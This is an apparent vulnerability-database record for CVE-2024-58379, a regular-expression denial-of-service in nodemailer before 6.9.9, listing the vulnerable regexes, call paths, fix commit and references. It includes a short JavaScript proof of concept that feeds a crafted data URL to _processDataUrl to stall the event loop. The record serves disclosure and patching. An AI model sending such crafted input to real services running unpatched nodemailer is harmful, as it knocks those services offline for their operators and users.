{"id":"CVE-2024-58379","aliases":["GHSA-9h6g-pr28-7cqp"],"url":"https://o3.security/vulnerability/CVE-2024-58379","summary":"nodemailer before 6.9.9 ReDoS via attachDataUrls parameter","details":"### Summary\nA ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter `attachDataUrls` set, causing the stuck of event loop. \nAnother flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop. \n\n### Details\n\nRegex: /^data:((?:[^;]*;)*(?:[^,]*)),(.*)$/\n\nPath: compile -> getAttachments -> _processDataUrl\n\nRegex: /(<img\\b[^>]* src\\s*=[\\s\"']*)(data:([^;]+);[^\"'>\\s]+)/\n\nPath: _convertDataImages\n\n### PoC\n\nhttps://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6\nhttps://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698\n\n```js\nasync function exploit() {\n   const MailComposer = require(\\\"nodemailer/lib/mail-composer\\\");\n   const MailComposerObject = new MailComposer();\n\n   // Create a malicious data URL that will cause excessive backtracking\n   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack\n   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';\n\n   // Call the vulnerable method with the crafted input\n   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });\n}\n\nawait exploit();\n```\n\n### Impact\n\nReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.","published":"2026-08-31T08:46:24.228Z","modified":"2026-10-29T02:31:04.233926196Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"nodemailer","fixedVersion":"6.9.9"}],"fix":{"url":"https://github.com/nodemailer/nodemailer/commit/dd8f5e8a4ddc99992e31df76bcff9c590035cd4a","label":"nodemailer/nodemailer@dd8f5e8"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/58xxx/CVE-2024-58379.json"},{"type":"ADVISORY","url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-9h6g-pr28-7cqp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-58379"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/nodemailer-before-6.9.9-redos-via-attachdataurls-parameter"},{"type":"WEB","url":"https://github.com/nodemailer/nodemailer/commit/dd8f5e8a4ddc99992e31df76bcff9c590035cd4a"},{"type":"WEB","url":"https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6"},{"type":"WEB","url":"https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698"},{"type":"PACKAGE","url":"https://github.com/nodemailer/nodemailer"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-29T02:31:04.233926196Z"}}